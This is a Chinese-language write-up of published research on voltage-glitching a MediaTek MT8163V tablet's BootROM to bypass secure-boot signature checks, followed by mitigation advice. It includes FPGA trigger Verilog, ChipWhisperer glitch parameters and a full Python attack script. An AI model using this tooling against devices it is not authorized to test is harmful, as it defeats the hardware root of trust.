攻击目标:使用联发科MT8163V的某平板电脑( MediaTek MT8163V system-on-chip (64-bit ARM Cortex-A))
攻击手段:Voltage glitching
攻击过程:Boot Process
攻击目的:Bypassing signature verification for firmware checking
需要的硬件设备:带有TOE的设备,1.8v UART, 树莓派Raspberry Pi 3, Sipeed Tang Nano FPGA, ChipWhisper for voltage glitches
目前大部分的安全芯片已经针对侧信道和错误注入进行了相应的考虑和防护,对具备抗渗透攻击的安全芯片很难实现有效的攻击。而对于低功耗缺乏相应防护设计的微处理器仍然比较有效,例如针对STM32 ECU(“Shedding too much Light on a Microcontroller’s Firmware Protection”), NXP LPC(https://toothless.co/blog/bootloader-bypass-part1/)和ESP32的攻击(https://docs.espressif.com/projects/esp-idf/en/latest/esp32/security/secure-boot-v1.html)。
但是联发科MT8163V芯片组广泛应用在移动端设备、平板电脑和个人笔记本PC上,因此NCC group针对其进行的攻击分析更加有价值,下面我们进入正题,一起学习下整个攻击过程。
总体来讲,攻击是针对MediaTek BootROM进行的,攻击的结果将导致敌手可以绕过preloader阶段所有的Secure boot机制从而可以轻松执行非法的固件镜像,进而导致可信根的完全失效。
文章提出的攻击针对的是mask ROM, 因此很难通过打patch的方式进行直接修复,但是由于攻击手段的特殊性,此威胁模型需要通过物理方式对设备进行直接访问,因此敌手的攻击难度较高。
MediaTek Boot Process
首先介绍boot总体流程,通常来讲在OEM的设备制造阶段SoC会将boot policy存在efuse中,之后启动阶段bootROM会读取efuse中的policy内容并将preloader从外部eMMC中载入到RAM中,并且验证签名的有效性。BootROM作为boot阶段的第一个操作,被看作是SoC的可信根。
MediaTek的preloader是boot阶段的第二个操作并且其代码是可变的。preloader存储在Boot0的eMMC分区中,根据eMMC的文档说明这个特殊分区和user数据分区相分离。
Boot Process Analysis
首先MediaTek的SoC会进行存储两份preloader的镜像,如果两次签名验证都失败那么就会进去Download Mode下载态,对应的UART指令为“[DL] 00009C40 00000000 010701” 。
进入下载态,需要将preloader从flash(eMMC)载入到RAM中,eMMC的boot mode特征被启用。BootROM将eMMC进行复位并且使其进入“alternative boot mode”。这里的执行指令为两条GO_IDLE_STATE (CMD0):
- 0xF0F0F0F0 :pre-idle状态
-
0xFFFFFFFA :boot 状态
eMMC into boot mode 指令.png
一旦收到以上的第二条指令,eMMC开始讲BOOT0中特殊分区中的preloader内容通过DAT0数据线已1bit的方式发送给RAM。这部分的总体时间大概在100ms。
第一个镜像文件传输结束后,立即被指令GO_IDLE_STATE中断并再次进行reset操作。
当第一个preloader镜像可用时,观察到从第二个镜像文件完成最后1byte的数据到eMMC的第一个指令被preloader处理,中间大致需要2s时间。刚刚看到,第一个镜像传输完后,会进行reset操作,但是如果第一个镜像不可用(签名验证失败),而需要传输第二个镜像的情况下,不会执行reset指令,而是等到接受完第二个镜像后,才会进行reset操作,经过观察,在这种情况下从开始load第一个镜像到开始load第二个镜像间大致需要700ms的时间。
因此可以判断出,在这700ms的时间内,BootROM的操作为解析第二个镜像的结构并且进行签名验签操作,之后会进行1.2s的preloader代码初始化操作,可以看到加上刚才的700ms也是2s左右。现在可以比较的清楚的推测出,无论BootROM接受到哪一个镜像,开始的700ms左右时间是解析镜像结构和验证签名有效性的操作,因此在这个过程中执行voltage glitch攻击主要是针对验签结果判断的干扰,使得其可能跳过这个判断或者将判断结果打错。
FPGA Trigger Setup
为了精确的进行glitch触发,NCC group使用了一个非常便宜的FPGA(Sipeed Tang Nano),这个FPGA需要接入eMMC芯片的CLK、DAT0以及CMD(需要逻辑分析仪进行debug)这3个接口,以下显示的是焊接的示意图:
此FPGA的默认电压是3.3v但是在1.8v下也可以正常工作,其输入为3.3.v的触发信号并且将此信号通过输入pin脚传给ChipWhisper。
触发信号的Verilog代码非常简单:因为FPGA的时钟由eMMC驱动并且使用DAT0的一个移位寄存器从而始终记录传输线路上的最后4字节数据。如果想要的pattern一旦出现(preloader的最后4个字节),立即输出一段长度为512eMMC时钟cycles的触发信号:
always @(posedge emmc_clk or negedge sys_rst_n) begin
capture <= capture;
counter <= counter;
trigger <= trigger;
if (!sys_rst_n) begin
trigger <= 1'b0;
counter <= 24'b1000000000;
capture <= 32'b0;
end else if (counter > 0) begin
counter <= counter - 1;
capture <= 32'b0;
end else if (capture == 32'h4ebbc04d) begin
trigger <= 1'b1;
counter <= 24'b1000000000;
end else begin
trigger <= 1'b0;
capture <= {capture[31:0], emmc_dat0};
end
end
举例说明,以下是就是preloader的第一个镜像的最后一段数据的hex结果,例如一旦查找到最后4bytes数据为4e bb c0 4d
并匹配成功,触发信号将立即发给Chipwhispher,在一段延时后将形成特定宽度的glitch信号。
Glitch Target
当接收到来自FPGA的触发信号后,ChipWhisper平台负责产生voltage glitch
将一个SMA转换头焊接到平板电脑的板子上,并且通过导线与VCCK_PMU相连。ChipWhisper通过一个低功耗的MOSFET将电压拉到地对VCCK_PMU进行voltage glitch攻击。核心电压在短时间内被瞬间拉低,攻击者期望这样可以中断处理器内部的某个状态(例如寄存器中的数值),但是并不会导致整个系统的崩溃。为了可以接入VCCK_PMU,PCB上的部分焊锡可以使用小刀将其刮掉。作者发现不需要对板子上的其他器件进行改变,例如不需要移除偶尔电容等。
Overall Setup
攻击的Setup设备连接示意图显示如下
以下是攻击平台使用的所有硬件设备:
- 1.8v UART: A UART adapter which uses 1.8v logic level. This is used so that we can see target output and determine when a glitch attempt has succeeded ($2 USD).
- RaspberryPi: Used to programmatically reset the target device by disabling and re-enabling USB power with uhubctl ($50 CAD, CanaKit).
- FPGA: Passively listens to eMMC traffic and outputs glitch trigger signal to ChipWhisperer ($10 CAD, Digikey).
- ChipWhisperer: Inserts voltage glitches after the trigger signal is activated ($325 USD, NewAE Technology).
Determining The Initial Glitch Parameters 关于ChipWhisper的初始参数设置
The following parameters were used to set up the ChipWhisperer glitch:
scope.glitch.clk_src = "clkgen"
scope.glitch.output = "enable_only"
scope.glitch.trigger_src = "ext_single"
scope.clock.clkgen_freq = 16000000
scope.io.glitch_lp = True
scope.io.glitch_hp = False
接下来,需要确定glitch的宽度,这里作者使用手动的方式在BootROM读取preloader的过程中使用多个宽度的glitch进行尝试。发现Glitch的宽度在80-100时钟周期是可以引发preloader的多种中断结果。然而,这其中的大部分中断并不是可以利用的有效glitch。例如作者举了一个中断的结果示例:
[2176] [PART] check_part_overlapped done
[2180] [PART] load "tee1" from 0x0000000000B00200 (dev) to 0x43001000 (mem) [SUCCESS]
[2181] [PART] load speed: 15000KB/s, 46080 bytes, 3ms
[2213] [platform] ERROR: <ASSERT> div0.c:line 41 0
[2213] [platform] ERROR: PL fatal error...
[2214] [platform] PL delay for Long Press Reboot
Bruteforcing the Correct Glitch Parameters 穷举Glitch有效参数
根据之前的分析,我们假设验签过程发生在最后GO_IDLE_STATE
指令后的700ms内。显然我们需要在这700ms的窗口内,对其进行穷举分析。
首先,未经修改并签名后的preloader镜像会载入eMMC的BOOT0分区中。之后,将对其进行一个粗糙的glitch攻击,对应的范围为[25400, 100000],步进设置为200 cycles。这时候glitch可能产生的效果要么使得终端崩溃(UART上无返回),要么进入DL模式(Download Mode) - (“UART: [DL] 00009C40 00000000 010701”)。
之后,发现大部分的glitch并没有能够产生影响,终端顺利进入下载模式并进行数据的传输,但是经过几个小时的注入攻击,发现在某些时刻产生了异常,并且改用更加精细的glitch控制,例如将步进改为20 cycles。
按照以上的分析,需要进行暴力破解攻击,攻击者构造了一个非法的镜像,正常情况下由于签名验证失败BootROM验证不允许载入镜像,但是假设在合适的时间进行glitch攻击后则可以跳过验证过程成功载入非法镜像。经过2个小时的攻击,发现了多次成功的攻击。然而,这些偶然的成功攻击并不可靠,因此需要更加细致的调节。
接下来, 优化多个参数尝试使用不同的时间偏移和毛刺宽度。依照合适的参数,可以将攻击成功率提到到15% ~ 20%。以下统计了使用的参数和运行次数等,表明多个时间偏移和毛刺宽度可以实现成功的攻击。
Width Offset Success Run Total Runs Success Rate
94 41428 122 802 15.21%
93 41430 154 802 19.20%
94 41431 156 803 19.43%
127 41431 176 803 21.92%
129 41431 167 803 20.80%
93 41432 182 803 22.67%
115 41432 168 803 20.92%
117 41432 188 802 23.44%
126 41432 161 802 20.07%
130 41432 181 803 22.54%
117 41433 180 803 22.42%
118 41433 178 802 22.19%
129 41433 158 802 19.70%
100 41434 147 803 18.31%
103 41434 162 803 20.17%
104 41434 163 803 20.30%
128 41434 180 803 22.42%
129 41434 169 802 21.07%
130 41434 176 803 21.92%
103 41435 157 803 19.55%
104 41435 187 803 23.29%
126 41435 167 803 20.80%
128 41435 161 803 20.05%
100 41436 160 803 19.93%
102 41436 169 802 21.07%
100 41437 160 803 19.93%
102 41438 158 803 19.68%
103 41438 157 803 19.55%
104 41438 147 802 18.33%
可以看到,毛刺宽度范围为(93 - 130)时间偏移为(41428 - 41438)。文章的最后,这些参数将传给ChipWhisper的glitch脚本程序。
Payload Execution 自定义负载执行
显然更有意义的攻击是执行自定义的代码负载。因此需要替换原始镜像中的一段代码。对原始preloader二进制文件进行修改,使其跳转到原本需要执行GPT 解析的附近位置。选择这个特殊的位置是因为,作为preloader的后续阶段,一旦glitch成功注入,UART接口将不得不重新设置不同的传输速率,而在这期间需要花费一段时间并会导致preloader中的早期数据丢失。
添加的自定义负载将输出一段log消息,并且将BootROM和eFuse中的数据读出,一个成功的glitch攻击尝试将在UART的输出中展示:
Dry run
Dry run done, go!
105 41431 b'\x00[DL] 00009C40 00000000 010701\n\r'
105 41433 b'\x00'
99 41432 b'\x00\n\rF0: 102B 0000\n\rF3: 4000 0036\n\rF3: 0000 0000\n\rV0: 0000 0000 [0001]\n\r00: 0007 4000\n\r01: 0000 0000\n\rBP: 0000 0209 [0000]\n\rG0: 0190 0000\n\rT0: 0000 038B [000F]\n\rJump to BL\n\r\n\r\xfd\xf0'
Glitched after 10.936420202255249s, reopening serial!
<snip>
[1167] [Dram_Buffer] dram_buf_t size: 0x1789C0
[1167] [Dram_Buffer] part_hdr_t size: 0x200
[1168] [Dram_Buffer] g_dram_buf start addr: 0x4BE00000
[1169] [Dram_Buffer] g_dram_buf->msdc_gpd_pool start addr: 0x4BF787C0
[1169] [Dram_Buffer] g_dram_buf->msdc_bd_pool start addr: 0x4BF788C0
[1187] [RAM_CONSOLE] sram(0x12C000) sig 0x0 mismatch
[1188] [RAM_CONSOLE] start: 0x44400000, size: 0x10000
[1188] [RAM_CONSOLE] sig: 0x43074244
[1189] [RAM_CONSOLE] off_pl: 0x40
[1189] [RAM_CONSOLE] off_lpl: 0x80
[1189] [RAM_CONSOLE] sz_pl: 0x10
[1190] [RAM_CONSOLE] wdt status (0x0)=0x0
<snip>
----------------------------------------------------------------------
MediaTek MT8163V voltage glitch proof of concept NCC Group 2020
----------------------------------------------------------------------
BootROM:
00000000: 08 00 00 EA FE FF FF EA FE FF FF EA FE FF FF EA
00000010: FE FF FF EA FE FF FF EA FE FF FF EA FE FF FF EA
00000020: BB BB BB BB 38 00 20 10 00 00 A0 E3 00 10 A0 E3
00000030: 00 20 A0 E3 00 30 A0 E3 00 40 A0 E3 00 50 A0 E3
00000040: 00 60 A0 E3 00 70 A0 E3 00 80 A0 E3 00 90 A0 E3
00000050: ...
EFUSE:
10206000: 11 00 0F 00 62 00 00 00 00 00 00 00 00 00 00 00
10206010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206040: 00 10 02 04 00 00 50 0C 00 00 00 00 00 00 00 00
10206050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206060: 46 08 00 00 00 00 00 00 07 00 00 00 00 00 00 00
10206070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206090: 47 C8 DE F6 A6 A9 A1 8B 7A 8D 71 91 06 BC 18 86
102060A0: 9F 97 E1 CD A3 7C 4C E8 AB E8 7F 60 E8 A6 FD 77
102060B0:
到此,攻击者已成功实现了攻击并且可以通过负载执行任意的代码。后续还可以基于此执行更加高权限的操作,例如加解密、加载修改的TrustZone镜像、运行恶意的LK(little kernel)/Android image等等。
Conclusion
作者对MediaTek MT8163V SoC进行的glitch攻击,并不需要太多苛刻的要求(例如时钟同步以及去除电容等),就可以获得比较高的成功概率。进过手动重启,可以将20%左右的成功从效果上提升到100%。
由于这里的脆弱点影响的是BootROM,无法简单的通过打patch的方式进行修复,并且这一批的同类型产品都会受到影响。联发科后面将会有案发新的抗glitch攻击的BootROM在其SoC平台上,但是时间和型号未知。
防护措施
硬件上的防护最有效,例如增加芯片的传感器等。
软件上的防护也不可忽视,例如:
- 关键检查的冗余操作,攻击者不得不成功的对多个关键的判断语言进行glitch攻击,才能跳过某个安全检查。
- 添加随机延时,在代码上添加随机延时,使得攻击者不能确定精确的攻击范围,从而加大穷举攻击的难度。
- 完善流程的完整性控制,建议在BootROM中针对关键程序的执行路径,进行的完整性检查将会对非法代码运行、关键判断和路径跳过产生很大的影响。
附录:Glitch Source Code
import chipwhisperer as cw
import time
import serial
import subprocess
import sys
start = time.time()
scope = cw.scope()
scope.glitch.clk_src = "clkgen"
scope.glitch.output = "enable_only"
scope.glitch.trigger_src = "ext_single"
scope.clock.clkgen_freq = 16000000
scope.io.glitch_lp = True
scope.io.glitch_hp = False
SERIAL = "/dev/ttyUSB0"
RPI = "192.168.0.18"
def power_off():
subprocess.check_output(["ssh", "root@{}".format(RPI),
"/root/uhubctl/uhubctl -l 1-1 -p 2 -a 0"])
def power_on():
subprocess.check_output(["ssh", "root@{}".format(RPI),
"/root/uhubctl/uhubctl -l 1-1 -p 2 -a 1"])
ser = serial.Serial(SERIAL, 115200, timeout=0.1)
print("Dry run")
power_off()
scope.glitch.repeat = 10
scope.glitch.ext_offset = 0
scope.arm() power_on()
for x in range(10):
data = ser.read(100000)
power_off()
print("Dry run done, go!")
def glitch_attempt(offset, width):
power_off()
scope.glitch.repeat = width
scope.glitch.ext_offset = offset
scope.arm()
power_on()
data = b""
for x in range(30):
data += ser.read(100000)
if b"[DL]" in data and b"\n\r" in data:
break
if b"Jump to BL" in data and b"\n\r" in data:
break
print(width, offset, data)
if b"Jump" in data:
print("Glitched after {}s, reopening serial!\n\n".format(
time.time() - start))
ser.close()
ser2 = serial.Serial(SERIAL, 921600, timeout=0.1)
while True:
data = ser2.read(10000)
sys.stdout.buffer.write(data)
sys.stdout.flush()
try:
while True:
for width, offset in [
(105, 41431), (105, 41433), ( 99, 41432), (101, 41434),
(127, 41430), (104, 41432), (134, 41431), (135, 41434),
]:
glitch_attempt(offset, width)
finally:
print("Turn off")
power_off()
print("Disable scope")
scope.dis()
print("Bye!\n")